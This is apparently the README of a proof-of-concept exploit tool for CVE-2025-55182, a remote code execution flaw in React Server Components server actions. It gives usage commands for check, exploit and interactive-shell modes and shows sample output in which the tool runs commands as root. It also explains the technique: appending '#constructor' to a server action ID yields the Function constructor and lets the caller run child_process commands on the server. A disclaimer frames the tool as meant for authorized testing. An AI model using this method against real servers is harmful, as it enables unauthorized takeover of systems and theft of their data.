emiyelbarto/cve-2025-55182-pocPoc for CVE-2025-55182
Poc for CVE-2025-55182
Usage: python3 poc.py -u http://target.com --cmd "<cmd_here>"
This tool is provided for educational purposes and authorized security testing only. Usage of this tool for attacking targets without prior mutual consent is illegal. The developer assumes no liability and is not responsible for any misuse or damage caused by this program.
pip install requests
You can run the tool in three modes: Check, Exploit, or Interactive Shell.
usage: poc.py [-h] [-u URL] [--id ID] [-c CMD] [--check]
options:
-h, --help show this help message and exit
-u URL Target URL (e.g., http://localhost:3000)
--id ID Target Server Action ID (default: user-profile-action)
-c CMD, --cmd CMD Command to execute directly (non-interactive mode)
--check Only check for vulnerability (Crash Method), do not exploit
python3 poc.py -u http://target-site.com --check
python3 poc.py -u http://target-site.com --cmd "id"
python3 poc.py
# Inside the shell
RSC-Shell> set url http://localhost:3000
[+] URL set to: http://localhost:3000
RSC-Shell> check
[+] TARGET IS VULNERABLE!
RSC-Shell> shell
[*] Starting pseudo-interactive shell. Use 'exit' to return.
cmd> whoami
root
The Check: Sends a multipart request defining {} at index 1, and attempting to access ["$1🅰️a"]. Unpatched servers crash (HTTP 500) trying to access property a of undefined. Patched servers return HTTP 200.
The Exploit: Sends a multipart request referencing the valid Action ID, but appends #constructor. This tricks the serializer into returning the Function constructor, allowing us to pass arbitrary JavaScript (Node.js child_process) to be executed on the server.